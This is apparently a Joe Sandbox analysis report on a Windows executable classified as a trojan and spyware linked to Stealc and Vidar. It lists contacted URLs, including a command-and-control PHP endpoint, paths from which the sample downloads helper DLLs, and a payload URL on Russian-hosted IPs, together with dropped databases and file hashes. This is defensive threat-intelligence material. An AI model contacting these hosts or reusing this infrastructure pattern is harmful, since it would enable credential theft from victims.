http://185.172.128.76/15f649199f40275b/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/sqlite3.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
http://www.mozilla.com/en-US/blocklist/	bUcIhJ4VHm.exe, bUcIhJ4VHm.exe, 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://duckduckgo.com/ac/?q=	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dllK	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76rf	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
http://upx.sf.net	Amcache.hve.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phps	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false		high
http://185.172.128.203/tiktok.exe00	bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
http://185.172.128.76/15f649199f40275b/msvcp140.dllP	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dllB	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/msvcp140.dllL	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php2d6c41453d0c85f468b78951f73ec-release80c3c777a51d62c363839	bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false		high
http://185.172.128.203/tiktok.exet-Disposition:	bUcIhJ4VHm.exe, 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	AAFIJKKEHJDHJKFIECAAKFIJJK.0.dr	false		high
http://185.172.128.76	bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	bUcIhJ4VHm.exe, 00000000.00000003.2038984751.0000000002FCF000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGI.0.dr	false		high
http://185.172.128.203/tiktok.exeq	bUcIhJ4VHm.exe, 00000000.00000002.2459629952.00000000293D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464714952.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.203	unknown	Russian Federation		50916	NADYMSS-ASRU	false
185.172.128.76	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431855
Start date and time:	2024-04-25 21:47:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bUcIhJ4VHm.exe renamed because original name is a hash value
Original Sample Name:	f9f0b2b6c628789336ab905f82269982.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/43@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 82 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:48:36	API Interceptor	1x Sleep call for process: WerFault.exe modified
21:49:00	API Interceptor	7293296x Sleep call for process: JKJEHJKJEB.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.203	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.203/tiktok.exe
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.203/dl.php
185.172.128.76	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	tt1pR7pJbF.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	kOX6mvvEZv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	EvRwwa6vJW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
NADYMSS-ASRU	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\mozglue.dll	w3WOJ1ohgD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAA

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AZTRJHKCVR.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69958738043481
Encrypted:	false
SSDEEP:	24:JLBB9G3jpkS20K8FhSOvRm6Ngxn5g76PbvQMBQy6rTLvm6Mev:tBBqkS2x8Fh7vrKrlCnmw
MD5:	1FC24AB23553992EF775E46FD22AECD9
SHA1:	CFBD39CE149010E9E1521F2018477C7F1F44F526
SHA-256:	B5163E0A8D71197AF18FFF14C1D2A1C87BF3387E0AC166F1C42816BA8C38B6B9
SHA-512:	2E18DD03CE8DC693F6D7AC306E61C1E7EC01F4B4DBBEB89A789C49B7805DFBA95D3B92DBB98426172A1E5A2BDE551DF4ADAA90CEFC16CECFC336962EACEDEA22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	AZTRJHKCVRIOELZTNNVBEYDTBMINCRGDLCOIERGDEWRVSBZWIFYZIUNJFMDQPSAHILZRTRYXNTAXHLBGCNILPFXNXZCNAXPPHQASFYBIWBXSAHSOTUOJQDKHKGEOTNKOVMIGNCETRWTEBVGYPQBQYNPSORFTQIAYAXJQFYKNEKAZAJBDAYINZVUROOPDDFNNAMUHRWUZKJWKSNOMQNKZPQVPPLAEINBSGLYHSVHXZSTRTEYUGHIMXCECIPOPPMPDXLEZHKHRKGQRVXITTJMWZQQPERPMEHUTRVMRAWKZZUNFZVSRIJVOZNYQHLGGUDYPRCEXTVJMMVTAYEYCCWDNDQXXZDCYDRBJRPMYBKCERMQRUANKGILYXNOTMJLWAXYCPGFYHPOXWYFHLMZIXHOWUQNNBURUIGRWLNKUYWNTKZGWBYSDJDEVFBTDJTUGOZFZTIMDHOCFARFOKZGEKZAKEFTJXQBCNYBDBYEUGQTPIKMQCGCQGRPPXAYQSPABCMCDRSSQDAVBBRNMPWKAMUQHOENIJOQQIOYFADCUUJKEHNCKVCHIXFYUJBVJRQFFTNLUBKBOSIXVLUSTIKIJOKPSQVKBCBWZMXVLQAQVRJSLVWEVBTQAJDUQYCBOMCCZEFARHKLPHPVAHCMWGWNUJTLWIJZNVGGBDTROVKKWXXUZMYAGDQANTBJLTPODWVQMOQTCHKCNXXJPUMSVNNXYBKRUAIDHGQVQFPQBTOLWYVOBXYFYIWVTFVDFEQFAGPMWNNFEJHGKZGTWMKFTYGVABZHJPYCBCTLBPQGYELNJROHVSVDFNNSEZMTAYAOYARFLABOBSVYGXZGVMTYCKTOIJDCDDXNBILXQRNFOZBGIHHXHYIJODHAADHNELWZDLUURDYNVTXVAVSQPOXNJTYVXGHBHBQUDUCMSLNTAKSQMPSYPLIZKCQDZXTJJRDSJZETJHTFTGRPQGJFNEOPNWOFYLLPWRWGAKOIELPRPXWEHTSDQ

C:\ProgramData\BFHIJEBKEBGHIDHJKJEGCBAEGH

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\ProgramData\CAKEBFCFIJJKKECAKJEHDAAFIE

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBFBFC

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DQOFHVHTMG.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
